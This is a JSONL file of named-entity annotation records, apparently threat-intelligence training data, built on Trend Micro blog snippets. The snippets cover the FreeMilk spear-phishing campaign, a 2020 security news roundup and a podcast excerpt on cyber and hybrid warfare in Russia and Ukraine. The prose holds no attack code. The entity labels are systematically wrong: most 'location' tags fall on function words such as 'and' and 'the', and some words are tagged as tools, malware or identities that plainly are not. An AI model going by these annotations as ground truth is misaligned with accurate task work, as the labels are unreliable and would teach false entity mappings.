 {"id":5726,"text":" Spear phishing, like the name implies, is a more targeted form of phishing which incorporates a theme directly related to the target.","entities":[{"id":17696,"label":"attack-pattern","start_offset":1,"end_offset":15},{"id":17697,"label":"attack-pattern","start_offset":67,"end_offset":75},{"id":17698,"label":"location","start_offset":127,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":5727,"text":"Using this approach, victims are more inclined to trust the sender, and open the email message and any attachments resulting in the success of the attack.","entities":[{"id":17699,"label":"location","start_offset":29,"end_offset":32},{"id":17700,"label":"location","start_offset":50,"end_offset":55},{"id":17701,"label":"location","start_offset":68,"end_offset":71},{"id":17702,"label":"location","start_offset":95,"end_offset":98},{"id":17703,"label":"location","start_offset":132,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":5728,"text":" FreeMilk is an advanced spear phishing attack campaign that, instead of using a theme to lure targets into downloading a malicious attachment, hijacks an in-progress email conversation.","entities":[{"id":17705,"label":"attack-pattern","start_offset":25,"end_offset":39},{"id":17706,"label":"location","start_offset":47,"end_offset":55},{"id":17707,"label":"location","start_offset":90,"end_offset":94},{"id":17708,"label":"location","start_offset":158,"end_offset":166}],"relations":[],"Comments":[]}
 {"id":5729,"text":"Simply explained:  Figure 1 Conversation Hijacking to Deliver Malware  Unit 42 observed this specific attack taking advantage of a vulnerability in Microsoft Office, which has a patch available.","entities":[{"id":17711,"label":"identity","start_offset":148,"end_offset":157}],"relations":[],"Comments":[]}
-{"id":5730,"text":"To protect against FreeMilk and attacks alike, ensure your systems and devices are updated with the latest operating systems and security patches.","entities":[{"id":17713,"label":"location","start_offset":28,"end_offset":31},{"id":17714,"label":"location","start_offset":67,"end_offset":70},{"id":17715,"label":"location","start_offset":79,"end_offset":82},{"id":17716,"label":"location","start_offset":125,"end_offset":128},{"id":17717,"label":"location","start_offset":129,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":5731,"text":" Additionally, multiple layers of security for devices and networks create additional layers of protection to prevent against these types of attacks.","entities":[{"id":17718,"label":"location","start_offset":34,"end_offset":42},{"id":17719,"label":"location","start_offset":55,"end_offset":58},{"id":17720,"label":"location","start_offset":96,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":5732,"text":"For example, multi-factor authentication would prevent an attacker from abusing stolen credentials, hindering their ability to access an email account and successfully complete the FreeMilk attack campaign.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":17721,"label":"location","start_offset":151,"end_offset":154},{"id":17722,"label":"location","start_offset":197,"end_offset":205},{"id":17723,"label":"location","start_offset":270,"end_offset":273},{"id":17724,"label":"location","start_offset":299,"end_offset":304},{"id":17725,"label":"location","start_offset":333,"end_offset":337},{"id":17726,"label":"location","start_offset":412,"end_offset":415}],"relations":[],"Comments":[]}
-{"id":5733,"text":"Welcome to our weekly roundup, where we share what you need to know about the cybersecurity news and events that happened over the past few days.","entities":[{"id":17727,"label":"location","start_offset":0,"end_offset":7},{"id":17729,"label":"location","start_offset":22,"end_offset":29},{"id":17730,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":5734,"text":"This week, learn about Trend Micro’s Cyber Risk Index (CRI) and its results showing increased cyber risk.","entities":[{"id":17734,"label":"location","start_offset":48,"end_offset":53},{"id":17735,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":5735,"text":"Also, read about a data breach from IoT company Wyze that exposed information of 2.4 million customers.","entities":[],"relations":[],"Comments":[]}
 {"id":5736,"text":"Read on:","entities":[],"relations":[],"Comments":[]}
-{"id":5737,"text":"The 5 New Year’s Tech Resolutions You Should Make for 2020 Now is the perfect time to reflect on the past and think of all the ways you can make this coming year your best one yet.","entities":[{"id":17741,"label":"location","start_offset":78,"end_offset":82},{"id":17742,"label":"location","start_offset":106,"end_offset":109},{"id":17743,"label":"location","start_offset":136,"end_offset":139},{"id":17745,"label":"location","start_offset":167,"end_offset":171},{"id":17746,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":5738,"text":"With technology playing such a central role in our lives, technology resolutions should remain top of mind heading into the new year.","entities":[{"id":17747,"label":"location","start_offset":31,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":5739,"text":"In this blog, Trend Micro shares five tech resolutions that will help make your 2020 better and safer.","entities":[{"id":17751,"label":"location","start_offset":60,"end_offset":64},{"id":17753,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":5740,"text":"Security Study: Businesses Remain at Elevated Risk of Cyber Attack","entities":[{"id":17754,"label":"location","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":5741,"text":"Elevated risk of cyber attack is due to increased concerns over disruption or damages to critical infrastructure, according to the Trend Micro’s latest Cyber Risk Index (CRI) study.","entities":[{"id":17756,"label":"location","start_offset":163,"end_offset":168}],"relations":[],"Comments":[]}
-{"id":5742,"text":"The company commissioned Ponemon Institute to survey more than 1,000 organizations in the U.S. to assess business risk based on their current security postures and perceived likelihood of attack.","entities":[{"id":17758,"label":"location","start_offset":46,"end_offset":52},{"id":17761,"label":"location","start_offset":142,"end_offset":150},{"id":17762,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":5743,"text":"Parental Controls – Trend Micro Home Network Security Has Got You Covered","entities":[{"id":17763,"label":"location","start_offset":26,"end_offset":31},{"id":17764,"label":"location","start_offset":32,"end_offset":36},{"id":17765,"label":"location","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":5744,"text":"In the second blog of a three-part series on security protection for your home and family, Trend Micro discusses the risks associated with children beginning to use the internet for the first time and how parental controls can help protect them.","entities":[{"id":17768,"label":"location","start_offset":45,"end_offset":53},{"id":17769,"label":"location","start_offset":54,"end_offset":64},{"id":17770,"label":"location","start_offset":74,"end_offset":78},{"id":17771,"label":"location","start_offset":79,"end_offset":82},{"id":17774,"label":"location","start_offset":192,"end_offset":196},{"id":17775,"label":"location","start_offset":197,"end_offset":200},{"id":17776,"label":"location","start_offset":223,"end_offset":226},{"id":17777,"label":"location","start_offset":240,"end_offset":244}],"relations":[],"Comments":[]}
 {"id":5745,"text":"Cambridge Analytica Scandal: Facebook Hit with $1.6 Million Fine","entities":[{"id":17780,"label":"identity","start_offset":38,"end_offset":41},{"id":17782,"label":"location","start_offset":60,"end_offset":64}],"relations":[],"Comments":[]}
 {"id":5746,"text":"The Cambridge Analytica scandal continues to haunt Facebook.","entities":[],"relations":[],"Comments":[]}
-{"id":5747,"text":"The company has been receiving fines for its blatant neglect and disregard towards users’ privacy.","entities":[{"id":17785,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":5748,"text":"The latest to join the bandwagon after the US, Italy, and the UK is the Brazilian government.","entities":[{"id":17788,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
 {"id":5749,"text":"Why Running a Privileged Container in Docker is a Bad Idea","entities":[],"relations":[],"Comments":[]}
-{"id":5750,"text":"Privileged containers in Docker are containers that have all the root capabilities of a host machine, allowing the ability to access resources which are not accessible in ordinary containers.","entities":[{"id":17791,"label":"location","start_offset":32,"end_offset":35},{"id":17792,"label":"location","start_offset":65,"end_offset":69},{"id":17793,"label":"location","start_offset":88,"end_offset":92},{"id":17794,"label":"location","start_offset":149,"end_offset":152},{"id":17795,"label":"location","start_offset":171,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":5751,"text":"In this blog post, Trend Micro explores how running a privileged, yet unsecure, container may allow cybercriminals to gain a backdoor in an organization’s system.","entities":[{"id":17796,"label":"location","start_offset":13,"end_offset":17},{"id":17798,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":5752,"text":"IoT Company Wyze Leaks Emails, Device Data of 2.4M","entities":[],"relations":[],"Comments":[]}
-{"id":5753,"text":"An exposed Elasticsearch database, owned by Internet of Things (IoT) company Wyze, was discovered leaking connected device information and emails of millions of customers.","entities":[{"id":17803,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":5754,"text":"Exposed on Dec. 4 until it was secured on Dec. 26, the database contained customer emails along with camera nicknames, WiFi SSIDs (Service Set Identifiers; or the names of Wi-Fi networks), Wyze device information, and body metrics.","entities":[{"id":17807,"label":"location","start_offset":90,"end_offset":95},{"id":17809,"label":"location","start_offset":214,"end_offset":217}],"relations":[],"Comments":[]}
-{"id":5755,"text":"Looking into Attacks and Techniques Used Against WordPress Sites WordPress is estimated to be used by 35% of all websites today, making it an ideal target for threat actors.","entities":[{"id":17810,"label":"location","start_offset":21,"end_offset":24},{"id":17811,"label":"location","start_offset":59,"end_offset":64},{"id":17815,"label":"location","start_offset":142,"end_offset":147},{"id":17816,"label":"location","start_offset":148,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":5756,"text":"In this blog, Trend Micro explores different kinds of attacks against WordPress - by way of payload examples observed in the wild - and how attacks have used hacked admin access and API, Alfa-Shell deployment, and SEO poisoning to take advantage of vulnerable sites.","entities":[{"id":17818,"label":"location","start_offset":85,"end_offset":88},{"id":17819,"label":"location","start_offset":132,"end_offset":135},{"id":17820,"label":"location","start_offset":178,"end_offset":181},{"id":17821,"label":"location","start_offset":192,"end_offset":197},{"id":17822,"label":"location","start_offset":210,"end_offset":213},{"id":17823,"label":"location","start_offset":260,"end_offset":265}],"relations":[],"Comments":[]}
-{"id":5757,"text":"FPGA Cards Can Be Abused for Faster and More Reliable Rowhammer Attacks","entities":[{"id":17825,"label":"location","start_offset":11,"end_offset":14},{"id":17826,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":5758,"text":"In a new research paper published on the last day of 2019, a team of American and German academics showed that field-programmable gate array (FPGA) cards can be abused to launch better and faster Rowhammer attacks.","entities":[{"id":17829,"label":"location","start_offset":78,"end_offset":81},{"id":17831,"label":"location","start_offset":111,"end_offset":116},{"id":17832,"label":"location","start_offset":130,"end_offset":134},{"id":17833,"label":"location","start_offset":154,"end_offset":157},{"id":17834,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
 {"id":5759,"text":"The new research expands on previous work into an attack vector known as Rowhammer, first detailed in 2014 Emotet Attack Causes Shutdown of Frankfurt’s IT Network","entities":[{"id":17835,"label":"tools","start_offset":57,"end_offset":63},{"id":17837,"label":"tools","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":5760,"text":"The city of Frankfurt, Germany, became the latest victim of Emotet after an infection forced it to close its IT network.","entities":[{"id":17841,"label":"malware","start_offset":60,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":5761,"text":"There were also incidents that occurred in the German cities of Gießen, Bad Homburgas and Freiburg.","entities":[{"id":17845,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":5762,"text":"BeyondProd Lays Out Security Principles for Cloud-Native Applications BeyondCorp was first to shift security away from the perimeter and onto individual users and devices.","entities":[{"id":17848,"label":"location","start_offset":20,"end_offset":28},{"id":17849,"label":"location","start_offset":44,"end_offset":49},{"id":17852,"label":"location","start_offset":100,"end_offset":108},{"id":17853,"label":"location","start_offset":133,"end_offset":136},{"id":17854,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":5763,"text":"Now, it is BeyondProd that protects cloud-native applications that rely on microservices and communicate primarily over APIs, because firewalls are no longer sufficient.","entities":[{"id":17856,"label":"location","start_offset":36,"end_offset":41},{"id":17857,"label":"location","start_offset":89,"end_offset":92},{"id":17858,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
 {"id":5764,"text":"Greg Young, vice president of cybersecurity at Trend Micro, discusses BeyondProd’s value in this article.","entities":[],"relations":[],"Comments":[]}
 {"id":5765,"text":"How MITRE ATT&CK Assists in Threat Investigation","entities":[],"relations":[],"Comments":[]}
-{"id":5766,"text":"In 2013, the MITRE Corporation, a federally funded not-for-profit company that counts cybersecurity among its key focus area, came up with MITRE ATT&CK™, a curated knowledge base that tracks adversary behavior and tactics.","entities":[{"id":17866,"label":"location","start_offset":210,"end_offset":213}],"relations":[],"Comments":[]}
 {"id":5767,"text":"In this analysis, Trend Micro investigates an incident involving the MyKings botnet to show how the MITRE ATT&CK framework helps with threat investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":5768,"text":"TikTok Banned by U.S. Army Over China Security Concerns","entities":[{"id":17873,"label":"location","start_offset":38,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":5769,"text":"With backlash swelling around TikTok’s relationship with China, the United States Army this week announced that U.S. soldiers can no longer have the social media app on government-owned phones.","entities":[{"id":17879,"label":"location","start_offset":126,"end_offset":129},{"id":17880,"label":"location","start_offset":156,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":5770,"text":"The United States Army had previously used TikTok as a recruiting tool for reaching younger users, Mobile Money: How to Secure Banking Applications","entities":[{"id":17883,"label":"location","start_offset":66,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":5771,"text":"Mobile banking applications that help users check account balances, transfer money, or pay bills are quickly becoming standard products provided by established financial institutions.","entities":[{"id":17885,"label":"location","start_offset":0,"end_offset":6},{"id":17886,"label":"location","start_offset":44,"end_offset":49},{"id":17887,"label":"location","start_offset":68,"end_offset":76},{"id":17888,"label":"location","start_offset":77,"end_offset":82},{"id":17889,"label":"location","start_offset":97,"end_offset":100},{"id":17890,"label":"location","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":5772,"text":"However, as these applications gain ground in the banking landscape, cybercriminals are not far behind.","entities":[{"id":17891,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":5773,"text":"What security controls do you have in place to protect your home and family from risks associated with children who are new internet users?","entities":[{"id":17892,"label":"location","start_offset":5,"end_offset":13},{"id":17893,"label":"location","start_offset":60,"end_offset":64},{"id":17894,"label":"location","start_offset":65,"end_offset":68},{"id":17895,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]}
 {"id":5774,"text":"Share your thoughts in the comments below or follow me on Twitter to continue the conversation: @JonLClay.","entities":[],"relations":[],"Comments":[]}
-{"id":5775,"text":"    Tags  Cloud | APT & Targeted Attacks | Expert Perspective | Exploits & Vulnerabilities | Articles, News, Reports | Cyber Threats","entities":[{"id":17896,"label":"location","start_offset":10,"end_offset":15},{"id":17897,"label":"location","start_offset":18,"end_offset":21}],"relations":[],"Comments":[]}
 {"id":5776,"text":"Jon Clay, VP of Threat Intelligence: [00:00:00","entities":[],"relations":[],"Comments":[]}
-{"id":5777,"text":"Hey welcome everybody.","entities":[{"id":17900,"label":"location","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":5778,"text":"Jon Clay, VP of Threat Intelligence here at Trend Micro and welcome to another episode of #TrendTalksBizSec.","entities":[{"id":17904,"label":"location","start_offset":56,"end_offset":59},{"id":17905,"label":"location","start_offset":60,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":5779,"text":"Joining me again is my cohort in crime.","entities":[],"relations":[],"Comments":[]}
 {"id":5780,"text":"Ed Cabrera, Chief Cybersecurity Officer:","entities":[],"relations":[],"Comments":[]}
 {"id":5781,"text":"My name's Ed Cabrera.","entities":[],"relations":[],"Comments":[]}
 {"id":5782,"text":"I'm the Chief Cybersecurity Officer at Trend Micro.","entities":[],"relations":[],"Comments":[]}
 {"id":5783,"text":"It’s great to be here.","entities":[],"relations":[],"Comments":[]}
 {"id":5784,"text":"Jon:","entities":[],"relations":[],"Comments":[]}
-{"id":5785,"text":"You know, interesting Ed, I recently was able to travel to Switzerland, to Davos for the World Economic Forum, as part of our Cybersecurity Tech Accord Allegiance.","entities":[{"id":17915,"label":"location","start_offset":145,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":5786,"text":"They got me to speak at a panel there and the topic was quite interesting.","entities":[{"id":17916,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":5787,"text":"It was about hybrid warfare and cyber warfare.","entities":[{"id":17917,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":5788,"text":"And while there was a really good discussion during it, and you can actually find it online – it's on YouTube – if you want to take a look at it.","entities":[{"id":17918,"label":"location","start_offset":0,"end_offset":3},{"id":17919,"label":"location","start_offset":29,"end_offset":33},{"id":17920,"label":"location","start_offset":56,"end_offset":59},{"id":17921,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":5789,"text":"But we didn't cover a number of areas that I thought we were going to cover, but we didn't.","entities":[],"relations":[],"Comments":[]}
 {"id":5790,"text":"So I thought you and I [00:01:00] could take time today and talk a little bit about cyber warfare, hybrid warfare.","entities":[{"id":17922,"label":"location","start_offset":17,"end_offset":20},{"id":17923,"label":"location","start_offset":45,"end_offset":49},{"id":17925,"label":"location","start_offset":56,"end_offset":59},{"id":17926,"label":"location","start_offset":67,"end_offset":73},{"id":17927,"label":"identity","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":5791,"text":"Obviously, with the issues going on with Russia and Ukraine, we're starting to see this.","entities":[{"id":17929,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":5792,"text":"Any initial thoughts around this?","entities":[],"relations":[],"Comments":[]}
 {"id":5793,"text":"Maybe explain to the audience what hybrid warfare or cyber warfare is.","entities":[],"relations":[],"Comments":[]}
 {"id":5794,"text":"Ed:","entities":[],"relations":[],"Comments":[]}
 {"id":5795,"text":"Well, yeah, absolutely.","entities":[],"relations":[],"Comments":[]}
-{"id":5796,"text":"There's been this thought process and planning for many, many years as cyber has become that fifth domain from a Department of Defense perspective.","entities":[{"id":17932,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":5797,"text":"The Department of Defense has always wanted to, and their goal is to, maintain dominance across all domains.","entities":[{"id":17937,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":5798,"text":"Cyberspace now is critical and one of the key domains out there.","entities":[{"id":17938,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":5799,"text":"And so, when we talk about in terms of cyber conflict, cyber war, it has usually been in the context of just [00:02:00] another element within that 360-degree dominance that they hope to achieve in any conflict of war.","entities":[{"id":17940,"label":"location","start_offset":0,"end_offset":3},{"id":17941,"label":"location","start_offset":61,"end_offset":64},{"id":17942,"label":"identity","start_offset":104,"end_offset":108},{"id":17944,"label":"location","start_offset":179,"end_offset":183},{"id":17945,"label":"location","start_offset":214,"end_offset":217}],"relations":[],"Comments":[]}
 {"id":5800,"text":"Cyber is that one space such as air dominance, for example, right?","entities":[],"relations":[],"Comments":[]}
-{"id":5801,"text":"Whatever conflict you go into, a war be it, you want to maintain air dominance.","entities":[{"id":17947,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":5802,"text":"And cyberspace is just one of them now, but we're getting into this unique area which we anticipated…could cyber conflict be the main domain that is being acted upon?","entities":[{"id":17948,"label":"location","start_offset":0,"end_offset":3},{"id":17949,"label":"identity","start_offset":18,"end_offset":22},{"id":17951,"label":"location","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":5803,"text":"So instead of doing the kinetic or traditional, physical aspects of it, could you have cyber war be the only element that is happening?","entities":[{"id":17952,"label":"location","start_offset":93,"end_offset":96},{"id":17953,"label":"location","start_offset":104,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":5804,"text":"I think the Russian invasion of Ukraine has really brought that up to a different level in that discussion and what we're actually seeing.","entities":[{"id":17956,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":5805,"text":"We'll talk about it [00:03:00] here now, but I think when we talk in terms for, especially for here is like cyber conflict, cyber war, or hybrid, and the hybrid piece is just a definition of kinetic and cyber.","entities":[{"id":17957,"label":"TIME","start_offset":21,"end_offset":29},{"id":17958,"label":"location","start_offset":130,"end_offset":133},{"id":17959,"label":"location","start_offset":146,"end_offset":149},{"id":17960,"label":"identity","start_offset":170,"end_offset":174},{"id":17961,"label":"location","start_offset":199,"end_offset":202}],"relations":[],"Comments":[]}
 {"id":5806,"text":"Jon:","entities":[],"relations":[],"Comments":[]}
 {"id":5807,"text":"Right.","entities":[],"relations":[],"Comments":[]}
-{"id":5808,"text":"One thing we obviously are seeing is that cyber is going to have a part to play in any upcoming conflict, but it may not be as big as what people thought.","entities":[{"id":17964,"label":"location","start_offset":23,"end_offset":26},{"id":17965,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":5809,"text":"You know, we were thinking, we could do away with the tanks and the air force and all that.","entities":[{"id":17966,"label":"location","start_offset":60,"end_offset":63},{"id":17967,"label":"location","start_offset":72,"end_offset":77},{"id":17968,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
 {"id":5810,"text":"And you just have computers fighting it out.","entities":[{"id":17969,"label":"location","start_offset":0,"end_offset":3},{"id":17970,"label":"identity","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":5811,"text":"But obviously that's not the case as we're seeing with Ukraine and Russia, right?","entities":[{"id":17971,"label":"location","start_offset":29,"end_offset":33},{"id":17973,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":5812,"text":"Ed:","entities":[],"relations":[],"Comments":[]}
 {"id":5813,"text":"No, absolutely.","entities":[],"relations":[],"Comments":[]}
-{"id":5814,"text":"We've thought of cyberwar as being this dominant part of any conflict, but there's still so many physical, critical infrastructure types of kinetic [00:04:00] targets and goals or objectives that you need to achieve in any conflict.","entities":[{"id":17976,"label":"location","start_offset":92,"end_offset":96},{"id":17977,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
 {"id":5815,"text":"So cyber is still critical as we become more hyper-connected.","entities":[],"relations":[],"Comments":[]}
 {"id":5816,"text":"As we approach ubiquitous computing, ubiquitous connectivity, cyber then becomes very relevant.","entities":[],"relations":[],"Comments":[]}
 {"id":5817,"text":"But as we’ve seen, it's an interesting concept because traditionally cyber has just been more of an information gathering or cyber espionage tool to aid any type of conflict.","entities":[{"id":17978,"label":"identity","start_offset":79,"end_offset":83},{"id":17979,"label":"location","start_offset":141,"end_offset":145},{"id":17980,"label":"location","start_offset":157,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":5818,"text":"But now with critical infrastructure across the globe being much more hyper-connected and being a richer target from a cyberspace perspective, now we do see that now cyber becomes a more dominant role in this.","entities":[{"id":17981,"label":"location","start_offset":48,"end_offset":53},{"id":17982,"label":"location","start_offset":60,"end_offset":64},{"id":17983,"label":"location","start_offset":86,"end_offset":89},{"id":17984,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":5819,"text":"Jon:","entities":[],"relations":[],"Comments":[]}
-{"id":5820,"text":"Yeah, and what's interesting is years ago we saw where Russia [00:05:00] took down the energy plant in Ukraine, but in a real warfare, maybe bombing that plant would be a much more effective thing than trying to take it offline.","entities":[{"id":17986,"label":"location","start_offset":6,"end_offset":9},{"id":17988,"label":"location","start_offset":55,"end_offset":61},{"id":17989,"label":"location","start_offset":87,"end_offset":93},{"id":17990,"label":"location","start_offset":94,"end_offset":99},{"id":17991,"label":"location","start_offset":103,"end_offset":110},{"id":17992,"label":"location","start_offset":121,"end_offset":125},{"id":17993,"label":"location","start_offset":154,"end_offset":159},{"id":17994,"label":"location","start_offset":171,"end_offset":175}],"relations":[],"Comments":[]}
 {"id":5821,"text":"Ed:","entities":[],"relations":[],"Comments":[]}
 {"id":5822,"text":"Well, I mean, it still serves a purpose if you're able to knock down the power or communication, the real two top tier critical infrastructure.","entities":[{"id":17996,"label":"tools","start_offset":58,"end_offset":63},{"id":17997,"label":"location","start_offset":73,"end_offset":78},{"id":17998,"label":"location","start_offset":101,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":5823,"text":"If you're able to eliminate communication and power, you have disrupted and\/or created enough opportunity on the kinetic side or the physical side to be able to come and do more damage.","entities":[{"id":18000,"label":"location","start_offset":42,"end_offset":45},{"id":18001,"label":"location","start_offset":46,"end_offset":51},{"id":18002,"label":"location","start_offset":94,"end_offset":105},{"id":18003,"label":"location","start_offset":166,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":5824,"text":"Like any conflict, we're all kids of understanding war and conflict, unfortunately, but command and control is necessary for any conflict.","entities":[{"id":18004,"label":"location","start_offset":51,"end_offset":54},{"id":18005,"label":"location","start_offset":55,"end_offset":58},{"id":18006,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
 {"id":5825,"text":"That's one of the first areas on either side they're looking to obtain dominance, is to knock out the command and control.","entities":[{"id":18009,"label":"tools","start_offset":88,"end_offset":93},{"id":18010,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":5826,"text":"And what is that?","entities":[{"id":18011,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
-{"id":5827,"text":"Power and communications.","entities":[{"id":18012,"label":"location","start_offset":0,"end_offset":5},{"id":18013,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
 {"id":5828,"text":"Jon:","entities":[],"relations":[],"Comments":[]}
-{"id":5829,"text":"I think the [00:06:00] other aspect that we're seeing is the misinformation and disinformation campaigns that can be done via cyber to make the citizens of the country that's being attacked unaware, or they don't know what to do, where to go, because we're so connected now to the internet for information.","entities":[{"id":18015,"label":"location","start_offset":76,"end_offset":79},{"id":18016,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":5830,"text":"If you can do a misinformation campaign to disrupt that, I think that's one of the areas we'll see a big time with future conflicts, especially in the initial stage.","entities":[{"id":18017,"label":"location","start_offset":7,"end_offset":10},{"id":18018,"label":"location","start_offset":31,"end_offset":39},{"id":18019,"label":"location","start_offset":72,"end_offset":75},{"id":18020,"label":"location","start_offset":105,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":5831,"text":"When you're first going in, you start that initial disinformation misinformation campaign, and then you continue it throughout the campaign.","entities":[{"id":18021,"label":"location","start_offset":32,"end_offset":37},{"id":18022,"label":"location","start_offset":81,"end_offset":89},{"id":18023,"label":"location","start_offset":91,"end_offset":94},{"id":18024,"label":"location","start_offset":131,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":5832,"text":"Ed:","entities":[],"relations":[],"Comments":[]}
 {"id":5833,"text":"Oh, absolutely.","entities":[],"relations":[],"Comments":[]}
 {"id":5834,"text":"It's nothing new.","entities":[],"relations":[],"Comments":[]}
 {"id":5835,"text":"Information warfare, PSYOPs, psychology operations - you name it.","entities":[],"relations":[],"Comments":[]}
-{"id":5836,"text":"It's already been in existence, but social media, 24\/7 news cycles have made it even more important to where it's an integral part.","entities":[{"id":18026,"label":"location","start_offset":43,"end_offset":48},{"id":18028,"label":"location","start_offset":72,"end_offset":76}],"relations":[],"Comments":[]}
 {"id":5837,"text":"Jon:","entities":[],"relations":[],"Comments":[]}
 {"id":5838,"text":"We don't need to [00:07:00] drop the pamphlets out of the plane anymore.","entities":[],"relations":[],"Comments":[]}
 {"id":5839,"text":"Ed: Exactly.","entities":[],"relations":[],"Comments":[]}
 {"id":5840,"text":"You don't need to – everybody's got a phone, right?","entities":[],"relations":[],"Comments":[]}
 {"id":5841,"text":"So, you're able to instantaneously provide some type of propaganda or misinformation around the globe.","entities":[{"id":18031,"label":"location","start_offset":48,"end_offset":52},{"id":18032,"label":"malware","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":5842,"text":"That is more important now more than ever, is that ability to do that.","entities":[{"id":18033,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":5843,"text":"And then, we've talked about this, right, it's the deep fakes of audio, video, and everything else.","entities":[{"id":18034,"label":"location","start_offset":0,"end_offset":3},{"id":18035,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":5844,"text":"Jon:","entities":[],"relations":[],"Comments":[]}
 {"id":5845,"text":"They could have done a deep fake of Zelensky talking about something that could have caused panic inside the country.","entities":[],"relations":[],"Comments":[]}
 {"id":5846,"text":"Think about something like that happening.","entities":[],"relations":[],"Comments":[]}
 {"id":5847,"text":"That's what you're probably going to see in the future as well.","entities":[],"relations":[],"Comments":[]}
 {"id":5848,"text":"One other area that we didn't talk about that I thought was pretty interesting was around cyber mercenaries.","entities":[],"relations":[],"Comments":[]}
-{"id":5849,"text":"In the past, you had the soldiers fighting the war between it, right?","entities":[{"id":18039,"label":"location","start_offset":47,"end_offset":50},{"id":18040,"label":"location","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":5850,"text":"But now with cyber, you have these cyber mercenaries that aren't [00:08:00] necessarily in the military complex.","entities":[{"id":18041,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]}
 {"id":5851,"text":"They’re regular citizens.","entities":[],"relations":[],"Comments":[]}
-{"id":5852,"text":"We've got Russian cyber mercenaries targeting people outside and targeting Ukraine, but we also have Anonymous from the outside targeting Russia.","entities":[{"id":18043,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":5853,"text":"How do we deal with cyber mercenaries?","entities":[{"id":18047,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":5854,"text":"Are they combatants?","entities":[{"id":18048,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
-{"id":5855,"text":"Are they non-combatants?","entities":[{"id":18049,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
